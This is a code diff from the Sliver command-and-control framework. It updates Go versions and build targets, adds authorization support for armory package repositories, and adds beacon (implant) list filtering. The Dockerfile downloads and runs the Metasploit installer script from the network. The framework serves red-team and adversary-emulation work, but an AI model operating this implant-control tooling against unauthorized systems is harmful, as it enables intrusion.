Fix argument parsing in execute-assembly to remove trailing spaces

Fix regression: add back IP forwarding for wireguard tunnels.

.github/workflows/autorelease.yml

@@ -14,10 +14,10 @@ jobs:
     timeout-minutes: 45
     steps:
 
-    - name: Go 1.17
+    - name: Go 1.18
       uses: actions/setup-go@v2
       with:
-        go-version: '^1.17'
+        go-version: '^1.18'
     
     - name: OS Packages 
       run: |
@@ -65,10 +65,10 @@ jobs:
     timeout-minutes: 45
     steps:
 
-    - name: Go 1.17
+    - name: Go 1.18
       uses: actions/setup-go@v2
       with:
-        go-version: '^1.17'
+        go-version: '^1.18'
 
     - name: Mingw
       run: brew install mingw-w64

.github/workflows/codeql-scanning.yml

@@ -17,10 +17,10 @@ jobs:
 
     steps:
       # Setup go environment
-      - name: Go 1.17
+      - name: Go 1.18
         uses: actions/setup-go@v2
         with:
-          go-version: "^1.17"
+          go-version: "^1.18"
 
       - name: Checkout repository
         uses: actions/checkout@v2

.github/workflows/go.yml

@@ -6,19 +6,24 @@ on:
   pull_request:
     branches:
       - master
+    types:
+      - opened
+      - reopened
+      - synchronize
+      - ready_for_review
 
 jobs:
 
   linux-windows-build:
     name: Linux & Windows Build
     runs-on: ubuntu-latest
-    timeout-minutes: 45
+    timeout-minutes: 90
     steps:
 
-    - name: Go 1.17
+    - name: Go 1.18
       uses: actions/setup-go@v2
       with:
-        go-version: '^1.17'
+        go-version: '^1.18'
     
     - name: OS Packages 
       run: |
@@ -47,13 +52,13 @@ jobs:
   macos-build:
     name: MacOS Build
     runs-on: macos-latest
-    timeout-minutes: 45
+    timeout-minutes: 90
     steps:
 
-    - name: Go 1.17
+    - name: Go 1.18
       uses: actions/setup-go@v2
       with:
-        go-version: '^1.17'
+        go-version: '^1.18'
 
     - name: Mingw
       run: brew install mingw-w64

Dockerfile

@@ -1,4 +1,4 @@
-FROM golang:1.17.7
+FROM golang:1.18.3
 
 #
 # IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
@@ -6,22 +6,22 @@ FROM golang:1.17.7
 #            a Docker deployment this is probably a good place to start.
 #
 
-ENV PROTOC_VER 3.17.1
-ENV PROTOC_GEN_GO_VER v1.26.0
-ENV GRPC_GO v1.1.0
+ENV PROTOC_VER 3.19.4
+ENV PROTOC_GEN_GO_VER v1.27.1
+ENV GRPC_GO v1.2.0
 
 # Base packages
 RUN apt-get update --fix-missing && apt-get -y install \
-  git build-essential zlib1g zlib1g-dev \
-  libxml2 libxml2-dev libxslt-dev locate curl \
-  libreadline6-dev libcurl4-openssl-dev git-core \
-  libssl-dev libyaml-dev openssl autoconf libtool \
-  ncurses-dev bison curl wget xsel postgresql \
-  postgresql-contrib postgresql-client libpq-dev \
-  libapr1 libaprutil1 libsvn1 \
-  libpcap-dev libsqlite3-dev libgmp3-dev \
-  zip unzip mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
-  nasm gcc-multilib
+    git build-essential zlib1g zlib1g-dev \
+    libxml2 libxml2-dev libxslt-dev locate curl \
+    libreadline6-dev libcurl4-openssl-dev git-core \
+    libssl-dev libyaml-dev openssl autoconf libtool \
+    ncurses-dev bison curl wget xsel postgresql \
+    postgresql-contrib postgresql-client libpq-dev \
+    libapr1 libaprutil1 libsvn1 \
+    libpcap-dev libsqlite3-dev libgmp3-dev \
+    zip unzip mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
+    nasm gcc-multilib
 
 #
 # > User
@@ -33,8 +33,8 @@ RUN mkdir -p /home/sliver/ && chown -R sliver:sliver /home/sliver
 # > Metasploit
 #
 RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall \
-  && chmod 755 msfinstall \
-  && ./msfinstall
+    && chmod 755 msfinstall \
+    && ./msfinstall
 RUN mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete \
     &&  su -l sliver -c 'mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete'
 

Makefile

@@ -23,16 +23,16 @@ GO_VERSION = $(shell $(GO) version)
 GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
 GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
 MIN_SUPPORTED_GO_MAJOR_VERSION = 1
-MIN_SUPPORTED_GO_MINOR_VERSION = 17
+MIN_SUPPORTED_GO_MINOR_VERSION = 18
 GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
 
 VERSION ?= $(shell git describe --abbrev=0)
 COMPILED_AT = $(shell date +%s)
-RELEASES_URL = https://api.github.com/repos/BishopFox/sliver/releases
-CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
-ARMORY_PUB_KEY = RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
-ARMORY_REPO_URL = https://api.github.com/repos/sliverarmory/armory/releases
+RELEASES_URL ?= https://api.github.com/repos/BishopFox/sliver/releases
+ARMORY_PUB_KEY ?= RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
+ARMORY_REPO_URL ?= https://api.github.com/repos/sliverarmory/armory/releases
 VERSION_PKG = github.com/bishopfox/sliver/client/version
+CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
 
 GIT_DIRTY = $(shell git diff --quiet|| echo 'Dirty')
 GIT_COMMIT = $(shell git rev-parse HEAD)
@@ -77,8 +77,12 @@ ifeq ($(UNAME_S),Darwin)
 	SED_INPLACE := sed -i ''
 	STATIC_TARGET := macos
 endif
+
+# If no target is specified, determine GOARCH
 ifeq ($(UNAME_P),arm)
-	ENV += GOARCH=arm64
+	ifeq ($(MAKECMDGOALS), )
+		ENV += GOARCH=arm64
+	endif
 endif
 
 ifeq ($(MAKECMDGOALS), linux)
@@ -115,8 +119,13 @@ macos-arm64: clean validate-go-version
 
 .PHONY: linux
 linux: clean validate-go-version
-	GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
-	GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
+	GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
+	GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
+
+.PHONY: linux-arm64
+linux-arm64: clean validate-go-version
+	GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
+	GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
 
 .PHONY: windows
 windows: clean validate-go-version

client/assets/armories.go

@@ -21,7 +21,9 @@ package assets
 import (
 	"encoding/json"
 	"io/ioutil"
+	"log"
 	"os"
+	"os/exec"
 	"path/filepath"
 )
 
@@ -30,8 +32,10 @@ const (
 )
 
 var (
+	// DefaultArmoryPublicKey - The default public key for the armory
 	DefaultArmoryPublicKey string
-	DefaultArmoryRepoURL   string
+	// DefaultArmoryRepoURL - The default repo url for the armory
+	DefaultArmoryRepoURL string
 
 	defaultArmoryConfig = &ArmoryConfig{
 		PublicKey: DefaultArmoryPublicKey,
@@ -39,9 +43,12 @@ var (
 	}
 )
 
+// ArmoryConfig - The armory config file
 type ArmoryConfig struct {
-	PublicKey string `json:"public_key"`
-	RepoURL   string `json:"repo_url"`
+	PublicKey        string `json:"public_key"`
+	RepoURL          string `json:"repo_url"`
+	Authorization    string `json:"authorization"`
+	AuthorizationCmd string `json:"authorization_cmd"`
 }
 
 // GetArmoriesConfig - The parsed armory config file
@@ -59,5 +66,22 @@ func GetArmoriesConfig() []*ArmoryConfig {
 	if err != nil {
 		return []*ArmoryConfig{defaultArmoryConfig}
 	}
+	for _, armoryConfig := range armoryConfigs {
+		if armoryConfig.AuthorizationCmd != "" {
+			armoryConfig.Authorization = executeAuthorizationCmd(armoryConfig)
+		}
+	}
 	return append(armoryConfigs, defaultArmoryConfig)
 }
+
+func executeAuthorizationCmd(armoryConfig *ArmoryConfig) string {
+	if armoryConfig.AuthorizationCmd == "" {
+		return ""
+	}
+	out, err := exec.Command(armoryConfig.AuthorizationCmd).CombinedOutput()
+	if err != nil {
+		log.Printf("Failed to execute authorization_cmd '%s': %v", armoryConfig.AuthorizationCmd, err)
+		return ""
+	}
+	return string(out)
+}

client/command/alias/load.go

@@ -158,12 +158,13 @@ func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasMan
 	}
 
 	helpMsg := fmt.Sprintf("[%s] %s", aliasManifest.Name, aliasManifest.Help)
-	helpMsg += "\n\n⚠️  If you're having issues passing arguments to the alias please read:\n"
-	helpMsg += "https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions#aliases-command-parsing"
+	longHelpMsg := help.FormatHelpTmpl(aliasManifest.LongHelp)
+	longHelpMsg += "\n\n⚠️  If you're having issues passing arguments to the alias please read:\n"
+	longHelpMsg += "https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions#aliases-command-parsing"
 	addAliasCmd := &grumble.Command{
 		Name:     aliasManifest.CommandName,
 		Help:     helpMsg,
-		LongHelp: help.FormatHelpTmpl(aliasManifest.LongHelp),
+		LongHelp: longHelpMsg,
 		Run: func(extCtx *grumble.Context) error {
 			con.Println()
 			runAliasCommand(extCtx, con)
@@ -268,6 +269,8 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	} else {
 		extArgs = strings.Join(args, " ")
 	}
+
+	extArgs = strings.TrimSpace(extArgs)
 	entryPoint := aliasManifest.Entrypoint
 	processName := ctx.Flags.String("process")
 	if processName == "" {

client/command/armory/armory.go

@@ -38,12 +38,15 @@ import (
 	"golang.org/x/term"
 )
 
+// ArmoryIndex - Index JSON containing alias/extension/bundle information
 type ArmoryIndex struct {
-	Aliases    []*ArmoryPackage `json:"aliases"`
-	Extensions []*ArmoryPackage `json:"extensions"`
-	Bundles    []*ArmoryBundle  `json:"bundles"`
+	ArmoryConfig *assets.ArmoryConfig `json:"-"`
+	Aliases      []*ArmoryPackage     `json:"aliases"`
+	Extensions   []*ArmoryPackage     `json:"extensions"`
+	Bundles      []*ArmoryBundle      `json:"bundles"`
 }
 
+// ArmoryPackage - JSON metadata for alias or extension
 type ArmoryPackage struct {
 	Name        string `json:"name"`
 	CommandName string `json:"command_name"`
@@ -53,12 +56,15 @@ type ArmoryPackage struct {
 	IsAlias bool `json:"-"`
 }
 
+// AmoryBundle - A list of packages
 type ArmoryBundle struct {
 	Name     string   `json:"name"`
 	Packages []string `json:"packages"`
 }
 
+// ArmoryHTTPConfig - Configuration for armory HTTP client
 type ArmoryHTTPConfig struct {
+	ArmoryConfig         *assets.ArmoryConfig
 	IgnoreCache          bool
 	ProxyURL             *url.URL
 	Timeout              time.Duration
@@ -66,20 +72,22 @@ type ArmoryHTTPConfig struct {
 }
 
 type indexCacheEntry struct {
-	RepoURL string
-	Fetched time.Time
-	Index   ArmoryIndex
-	LastErr error
+	ArmoryConfig *assets.ArmoryConfig
+	RepoURL      string
+	Fetched      time.Time
+	Index        ArmoryIndex
+	LastErr      error
 }
 
 type pkgCacheEntry struct {
-	RepoURL   string
-	Fetched   time.Time
-	Pkg       ArmoryPackage
-	Sig       minisign.Signature
-	Alias     *alias.AliasManifest
-	Extension *extensions.ExtensionManifest
-	LastErr   error
+	ArmoryConfig *assets.ArmoryConfig
+	RepoURL      string
+	Fetched      time.Time
+	Pkg          ArmoryPackage
+	Sig          minisign.Signature
+	Alias        *alias.AliasManifest
+	Extension    *extensions.ExtensionManifest
+	LastErr      error
 }
 
 var (
@@ -315,9 +323,26 @@ func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverConsoleClien
 		{Name: "Name", Mode: table.Asc},
 	})
 	for _, bundle := range bundles {
+		if len(bundle.Packages) < 1 {
+			continue
+		}
+		packages := bundle.Packages[0]
+		if 1 < len(packages) {
+			packages += ", "
+		}
+		for index, pkgName := range bundle.Packages[1:] {
+			if index%5 == 4 {
+				packages += pkgName + "\n"
+			} else {
+				packages += pkgName
+				if index != len(bundle.Packages)-2 {
+					packages += ", "
+				}
+			}
+		}
 		tw.AppendRow(table.Row{
 			bundle.Name,
-			strings.Join(bundle.Packages, ", "),
+			packages,
 		})
 	}
 	con.Printf("%s\n", tw.Render())
@@ -378,7 +403,10 @@ func fetchIndex(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig
 		}
 	}
 
-	armoryResult := &indexCacheEntry{RepoURL: armoryConfig.RepoURL}
+	armoryResult := &indexCacheEntry{
+		ArmoryConfig: armoryConfig,
+		RepoURL:      armoryConfig.RepoURL,
+	}
 	defer func() {
 		armoryResult.Fetched = time.Now()
 		indexCache.Store(armoryConfig.PublicKey, *armoryResult)
@@ -414,18 +442,18 @@ func fetchPackageSignatures(indexes []ArmoryIndex, clientConfig ArmoryHTTPConfig
 		for _, armoryPkg := range index.Extensions {
 			wg.Add(1)
 			armoryPkg.IsAlias = false
-			go fetchPackageSignature(wg, armoryPkg, clientConfig)
+			go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
 		}
 		for _, armoryPkg := range index.Aliases {
 			wg.Add(1)
 			armoryPkg.IsAlias = true
-			go fetchPackageSignature(wg, armoryPkg, clientConfig)
+			go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
 		}
 	}
 	wg.Wait()
 }
 
-func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
+func fetchPackageSignature(wg *sync.WaitGroup, armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
 	defer wg.Done()
 	cacheEntry, ok := pkgCache.Load(armoryPkg.CommandName)
 	if ok {
@@ -435,7 +463,10 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientC
 		}
 	}
 
-	pkgCacheEntry := &pkgCacheEntry{RepoURL: armoryPkg.RepoURL}
+	pkgCacheEntry := &pkgCacheEntry{
+		ArmoryConfig: armoryConfig,
+		RepoURL:      armoryPkg.RepoURL,
+	}
 	defer func() {
 		pkgCacheEntry.Fetched = time.Now()
 		pkgCache.Store(armoryPkg.CommandName, *pkgCacheEntry)
@@ -455,7 +486,7 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientC
 	if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
 		sig, _, err = pkgParser(armoryPkg, true, clientConfig)
 	} else {
-		sig, _, err = DefaultArmoryPkgParser(armoryPkg, true, clientConfig)
+		sig, _, err = DefaultArmoryPkgParser(armoryConfig, armoryPkg, true, clientConfig)
 	}
 	if err != nil {
 		pkgCacheEntry.LastErr = fmt.Errorf("failed to parse pkg manifest: %s", err)

client/command/armory/install.go

@@ -20,11 +20,13 @@ package armory
 
 import (
 	"errors"
+	"fmt"
 	"io/ioutil"
 	"net/url"
 	"os"
 	"path/filepath"
 
+	"github.com/AlecAivazis/survey/v2"
 	"github.com/bishopfox/sliver/client/command/alias"
 	"github.com/bishopfox/sliver/client/command/extensions"
 	"github.com/bishopfox/sliver/client/console"
@@ -33,6 +35,7 @@ import (
 )
 
 var (
+	// ErrPackageNotFound - The package was not found
 	ErrPackageNotFound = errors.New("package not found")
 )
 
@@ -45,6 +48,19 @@ func ArmoryInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 	clientConfig := parseArmoryHTTPConfig(ctx)
 	refresh(clientConfig)
+	if name == "all" {
+		aliases, extensions := packagesInCache()
+		confirm := false
+		prompt := &survey.Confirm{
+			Message: fmt.Sprintf("Install %d aliases and %d extensions?",
+				len(aliases), len(extensions),
+			),
+		}
+		survey.AskOne(prompt, &confirm)
+		if !confirm {
+			return
+		}
+	}
 	err := installPackageByName(name, clientConfig, con)
 	if err == nil {
 		return
@@ -73,17 +89,26 @@ func installBundle(bundle *ArmoryBundle, clientConfig ArmoryHTTPConfig, con *con
 func installPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
 	aliases, extensions := packagesInCache()
 	for _, alias := range aliases {
-		if alias.CommandName == name {
+		if alias.CommandName == name || name == "all" {
 			installAlias(alias, clientConfig, con)
-			return nil
+			if name != "all" {
+				return nil
+			}
 		}
 	}
 	for _, ext := range extensions {
-		if ext.CommandName == name {
+		if ext.CommandName == name || name == "all" {
 			installExtension(ext, clientConfig, con)
-			return nil
+			if name != "all" {
+				return nil
+			}
 		}
 	}
+	if name == "all" {
+		con.Printf("\n")
+		con.PrintInfof("All packages installed\n")
+		return nil
+	}
 	return ErrPackageNotFound
 }
 
@@ -120,7 +145,7 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *
 	if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
 		sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
 	} else {
-		sig, tarGz, err = DefaultArmoryPkgParser(&entry.Pkg, false, clientConfig)
+		sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
 	}
 	if err != nil {
 		return err
@@ -238,7 +263,7 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c
 	if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
 		sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
 	} else {
-		sig, tarGz, err = DefaultArmoryPkgParser(&entry.Pkg, false, clientConfig)
+		sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
 	}
 	if err != nil {
 		return err

client/command/armory/parsers.go

@@ -30,6 +30,7 @@ import (
 	"net/url"
 	"path"
 	"strings"
+	"time"
 
 	"github.com/bishopfox/sliver/client/assets"
 	"github.com/bishopfox/sliver/server/cryptography/minisign"
@@ -57,13 +58,13 @@ const (
 )
 
 type armoryIndexResponse struct {
-	Minisig     string `json:"minisig"`      // Minisig
-	ArmoryIndex string `json:"armory_index"` // Base64 String
+	Minisig     string `json:"minisig"`      // Minisig (Base64)
+	ArmoryIndex string `json:"armory_index"` // Index JSON (Base64)
 }
 
 type armoryPkgResponse struct {
-	Minisig  string `json:"minisig"` // Minisig
-	TarGzURL string `json:"tar_gz_url"`
+	Minisig  string `json:"minisig"`    // Minisig (Base64)
+	TarGzURL string `json:"tar_gz_url"` // Raw tar.gz url
 }
 
 //
@@ -79,7 +80,19 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
 	}
 
 	client := httpClient(clientConfig)
-	resp, err := client.Get(armoryConfig.RepoURL)
+	repoURL, err := url.Parse(armoryConfig.RepoURL)
+	if err != nil {
+		return nil, err
+	}
+	req := &http.Request{
+		Method: http.MethodGet,
+		URL:    repoURL,
+		Header: map[string][]string{},
+	}
+	if armoryConfig.Authorization != "" {
+		req.Header.Set("Authorization", armoryConfig.Authorization)
+	}
+	resp, err := client.Do(req)
 	if err != nil {
 		return nil, err
 	}
@@ -91,20 +104,28 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
 	if resp.StatusCode != http.StatusOK {
 		return nil, errors.New("api returned non-200 status code")
 	}
-	index := &armoryIndexResponse{}
-	err = json.Unmarshal(body, index)
+
+	indexResp := &armoryIndexResponse{}
+	err = json.Unmarshal(body, indexResp)
+	if err != nil {
+		return nil, err
+	}
+	armoryIndexData, err := base64.StdEncoding.DecodeString(indexResp.ArmoryIndex)
+	if err != nil {
+		return nil, err
+	}
+	armoryIndexSigData, err := base64.StdEncoding.DecodeString(indexResp.Minisig)
 	if err != nil {
 		return nil, err
 	}
 
 	// Verify index is signed by trusted key
-	valid := minisign.Verify(publicKey, []byte(index.ArmoryIndex), []byte(index.ArmoryIndex))
+	valid := minisign.Verify(publicKey, armoryIndexData, armoryIndexSigData)
 	if !valid {
-		return nil, errors.New("invalid signature")
+		return nil, errors.New("index has invalid signature")
 	}
 
-	armoryIndex := &ArmoryIndex{}
-	armoryIndexData, err := base64.StdEncoding.DecodeString(index.ArmoryIndex)
+	armoryIndex := &ArmoryIndex{ArmoryConfig: armoryConfig}
 	if err != nil {
 		return nil, err
 	}
@@ -116,7 +137,7 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
 }
 
 // DefaultArmoryPkgParser - Parse the armory package manifest directly from the url
-func DefaultArmoryPkgParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
+func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
 	var publicKey minisign.PublicKey
 	err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
 	if err != nil {
@@ -124,7 +145,19 @@ func DefaultArmoryPkgParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig
 	}
 
 	client := httpClient(clientConfig)
-	resp, err := client.Get(armoryPkg.RepoURL)
+	repoURL, err := url.Parse(armoryConfig.RepoURL)
+	if err != nil {
+		return nil, nil, err
+	}
+	req := &http.Request{
+		Method: http.MethodGet,
+		URL:    repoURL,
+		Header: map[string][]string{},
+	}
+	if armoryConfig.Authorization != "" {
+		req.Header.Set("Authorization", armoryConfig.Authorization)
+	}
+	resp, err := client.Do(req)
 	if err != nil {
 		return nil, nil, err
 	}
@@ -416,6 +449,7 @@ func githubLatestTagParser(armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConf
 	if err != nil {
 		return "", fmt.Errorf("http get failed armory pkg url '%s': %s", armoryPkg.RepoURL, err)
 	}
+	defer latestRedirect.Body.Close()
 	if latestRedirect.StatusCode != http.StatusFound {
 		return "", fmt.Errorf("unexpected response status (wanted 302) '%s': %s", armoryPkg.RepoURL, latestRedirect.Status)
 	}
@@ -455,9 +489,8 @@ func httpClient(config ArmoryHTTPConfig) *http.Client {
 			Dial: (&net.Dialer{
 				Timeout: config.Timeout,
 			}).Dial,
-
-			Proxy: http.ProxyURL(config.ProxyURL),
-
+			IdleConnTimeout:     time.Millisecond,
+			Proxy:               http.ProxyURL(config.ProxyURL),
 			TLSHandshakeTimeout: config.Timeout,
 			TLSClientConfig: &tls.Config{
 				InsecureSkipVerify: config.DisableTLSValidation,

client/command/beacons/beacons.go

@@ -21,6 +21,7 @@ package beacons
 import (
 	"context"
 	"fmt"
+	"regexp"
 	"strings"
 	"time"
 
@@ -46,7 +47,7 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			con.PrintErrorf("%s\n", err)
 			return
 		}
-		err = kill.KillBeacon(beacon, false, con)
+		err = kill.KillBeacon(beacon, ctx, con)
 		if err != nil {
 			con.PrintErrorf("%s\n", err)
 			return
@@ -62,7 +63,7 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			return
 		}
 		for _, beacon := range beacons.Beacons {
-			err = kill.KillBeacon(beacon, true, con)
+			err = kill.KillBeacon(beacon, ctx, con)
 			if err != nil {
 				con.PrintErrorf("%s\n", err)
 				return
@@ -71,27 +72,36 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
 		}
 	}
+	filter := ctx.Flags.String("filter")
+	var filterRegex *regexp.Regexp
+	if ctx.Flags.String("filter-re") != "" {
+		var err error
+		filterRegex, err = regexp.Compile(ctx.Flags.String("filter-re"))
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+	}
 
 	beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
 	}
-
-	PrintBeacons(beacons.Beacons, con)
+	PrintBeacons(beacons.Beacons, filter, filterRegex, con)
 }
 
 // PrintBeacons - Display a list of beacons
-func PrintBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) {
+func PrintBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) {
 	if len(beacons) == 0 {
 		con.PrintInfof("No beacons 🙁\n")
 		return
 	}
-	tw := renderBeacons(beacons, con)
+	tw := renderBeacons(beacons, filter, filterRegex, con)
 	con.Printf("%s\n", tw.Render())
 }
 
-func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) table.Writer {
+func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) table.Writer {
 	width, _, err := term.GetSize(0)
 	if err != nil {
 		width = 999
@@ -132,16 +142,42 @@ func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
 		}
 
 		nextCheckin := time.Unix(beacon.NextCheckin, 0)
+		nextCheckinDateTime := nextCheckin.Format(time.UnixDate)
+
 		var next string
+		var interval string
+
 		if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
-			past := time.Since(nextCheckin)
-			next = fmt.Sprintf("%s-%s%s", console.Bold+console.Red, past, console.Normal)
+			if con.Settings.SmallTermWidth < width {
+				interval = fmt.Sprintf("%s (%s ago)", nextCheckinDateTime, time.Since(nextCheckin).Round(time.Second))
+
+			} else {
+				interval = time.Since(nextCheckin).Round(time.Second).String()
+			}
+			next = fmt.Sprintf("%s%s%s", console.Bold+console.Red, interval, console.Normal)
 		} else {
-			eta := time.Until(nextCheckin)
-			next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, eta, console.Normal)
+			if con.Settings.SmallTermWidth < width {
+				interval = fmt.Sprintf("%s (in %s)", nextCheckinDateTime, time.Until(nextCheckin).Round(time.Second))
+			} else {
+				interval = time.Until(nextCheckin).Round(time.Second).String()
+			}
+
+			next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, interval, console.Normal)
 		}
+
+		// We need a slice of strings so we can apply filters
+		var rowEntries []string
+
+		/*
+			Round the duration to the nearest second to be more output friendly.
+			We deal in seconds for everything, so it makes sense to show outputs
+			in seconds to remain consistent.
+		*/
+		timeSinceLastCheckin := time.Since(time.Unix(beacon.LastCheckin, 0)).Round(time.Second)
+		lastCheckinDateTime := time.Unix(beacon.LastCheckin, 0).Format(time.UnixDate)
+
 		if con.Settings.SmallTermWidth < width {
-			tw.AppendRow(table.Row{
+			rowEntries = []string{
 				fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
 				fmt.Sprintf(color+"%d/%d"+console.Normal, beacon.TasksCountCompleted, beacon.TasksCount),
@@ -150,19 +186,43 @@ func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
 				fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
 				fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
-				fmt.Sprintf(color+"%s ago"+console.Normal, time.Since(time.Unix(beacon.LastCheckin, 0))),
+				fmt.Sprintf(color+"%s (%s ago)"+console.Normal, lastCheckinDateTime, timeSinceLastCheckin),
 				next,
-			})
+			}
 		} else {
-			tw.AppendRow(table.Row{
+			rowEntries = []string{
 				fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
 				fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
 				fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
-				fmt.Sprintf(color+"%s ago"+console.Normal, time.Since(time.Unix(beacon.LastCheckin, 0))),
+				fmt.Sprintf(color+"%s ago"+console.Normal, timeSinceLastCheckin),
 				next,
-			})
+			}
+		}
+		// Build the row struct
+		row := table.Row{}
+		for _, entry := range rowEntries {
+			row = append(row, entry)
+		}
+		// Apply filters if any
+		if filter == "" && filterRegex == nil {
+			tw.AppendRow(row)
+		} else {
+			for _, rowEntry := range rowEntries {
+				if filter != "" {
+					if strings.Contains(rowEntry, filter) {
+						tw.AppendRow(row)
+						break
+					}
+				}
+				if filterRegex != nil {
+					if filterRegex.MatchString(rowEntry) {
+						tw.AppendRow(row)
+						break
+					}
+				}
+			}
 		}
 	}
 	return tw

client/command/beacons/watch.go

@@ -45,7 +45,7 @@ func BeaconsWatchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			if err != nil {
 				panic(err) // If we return we may leak the waiting goroutine, so we panic instead
 			}
-			tw := renderBeacons(beacons.Beacons, con)
+			tw := renderBeacons(beacons.Beacons, "", nil, con)
 			lines := strings.Split(tw.Render(), "\n")
 			for _, line := range lines {
 				con.Printf(console.Clearln+"\r%s\n", line)

client/command/commands.go

@@ -399,6 +399,7 @@ func BindCommands(con *console.SliverConsoleClient) {
